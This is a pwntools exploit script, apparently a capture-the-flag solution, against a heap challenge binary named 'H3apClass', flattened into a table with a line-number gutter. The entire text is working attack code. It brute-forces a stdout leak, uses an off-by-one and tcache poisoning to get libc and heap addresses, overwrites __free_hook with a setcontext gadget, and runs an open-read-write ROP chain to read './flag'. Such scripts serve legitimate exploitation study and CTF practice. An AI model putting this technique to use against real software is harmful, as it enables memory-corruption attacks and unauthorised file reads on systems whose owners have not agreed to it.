1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191
| from pwn import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./H3apClass" context.binary = binary libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.timeout = 0.2
global p
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset it = lambda :p.interactive()
menu = "4:Drop homework\n" menu_n = "4:Drop homework"
def dockerDbg(): myGdb = remote("127.0.0.1",30001) myGdb.close() pause()
def dbg(): gdb.attach(p) pause() def gdb_b(addr): gdb.attach(p, "b *$rebase({0}) \n c".format(addr)) sleep(0.5)
def lg(string,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def add(idx,size,con): sla(menu, "1") sla("Which homework?\n", str(idx)) sla("size:\n", str(size)) sa("content:\n",con)
def add_n(idx,size,con): sla(menu_n, "1") sla("Which homework?", str(idx)) sla("size:", str(size)) sa("content:",con)
def delete(idx): sla(menu, "4") sla("Which homework?\n", str(idx))
def delete_n(idx): sla(menu_n, "4") sla("Which homework?", str(idx))
def edit(idx,con): sla(menu, "3") sla("Which homework?\n", str(idx)) sa("content:\n",con)
def edit_n(idx,con): sla(menu_n, "3") sla("Which homework?", str(idx)) sa("content:",con)
def pwn(): guess_libc=0x0000 guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_'] guess_main = guess_libc + libc.sym['__malloc_hook'] + 0x10
add(0,0xf8,'A'*0xf8) add(1,0xf8,'A'*0xf8) add(2,0xf8,'A'*0xf8) add(3,0xf8,'A'*0xf8) add(4,0xf8,'A'*0xf8) add(5,0xf8,'A'*0xf8) add(6,0xf8,'A'*0xf8) edit(0,'A'*0xf8+p16(0x501)) delete(5) delete(4) delete(3) delete(2) delete(1) add(1,0x78,'\x00') add(2,0x78,'\x00') add(3,0x78,p16((guess_IO)&0xffff)) add(4,0xf8,'\x00') fd = 0x00000000fbad2887 add(5,0xf8,p64(0xfbad1800) + p64(0)*3 + p16((guess_main+96)&0xffff)) heap_base = uu64(rc(6)) - 0x0019a0 libc_base = u64Leakbase(0x1ebbf0)
lg("libc_base",libc_base) lg("heap_base",heap_base) free_hook = libc_base + libc.sym['__free_hook'] setcontext61 = libc_base + libc.sym['setcontext'] + 61 lg("free_hook",free_hook) gadget = libc_base + 0x154930 delete_n(1) delete_n(2) delete_n(3) edit_n(4,p32(free_hook&0xffffffff)+p16(free_hook>>32)) add_n(1,0x78,'A'*0x78) add_n(2,0xe8,'A'*0xe8) chunk1_addr = heap_base + 0x0014b0 lg("chunk1_addr",chunk1_addr) add_n(3,0x78,p64(gadget))
pop_rdx_r12_ret = libc_base + 0x000000000011c371 pop_rsi_ret = libc_base + 0x0000000000027529 pop_rdi_ret = libc_base + 0x0000000000026b72 pop_rax_ret = libc_base + 0x000000000004a550 syscall_ret = libc_base + 0x0000000000066229 ret = pop_rdi_ret + 1 Open = libc_base + libc.sym['open'] Read = libc_base + libc.sym['read'] Puts = libc_base + libc.sym['puts']
chunk_addr = chunk1_addr fake_rsp = chunk_addr + 0xb0 + 0x10 flag = chunk_addr + 0xb0 orw = "a"*0x08 + p64(chunk_addr) orw += "a"*0x10 orw += p64(libc_base + libc.sym['setcontext'] + 61) + "a"*0x8 orw += "a"*0x70 orw += p64(fake_rsp) + p64(ret) orw += './flag\x00\x00' orw += p64(0) orw += p64(pop_rdi_ret) + p64(flag) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200) orw += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0x0) orw += p64(libc_base+libc.sym['read']) orw += p64(pop_rdi_ret) + p64(1) orw += p64(libc_base+libc.sym['write']) edit_n(1,orw[0:0x70]) edit_n(2,orw[0x80:]) delete_n(1) it()
i = 0 while True: i += 1 log.info("Times:%d"%i) try: p = process("./H3apClass") pwn() except EOFError: p.close() continue except Exception: p.close() continue else: p.interactive() break
|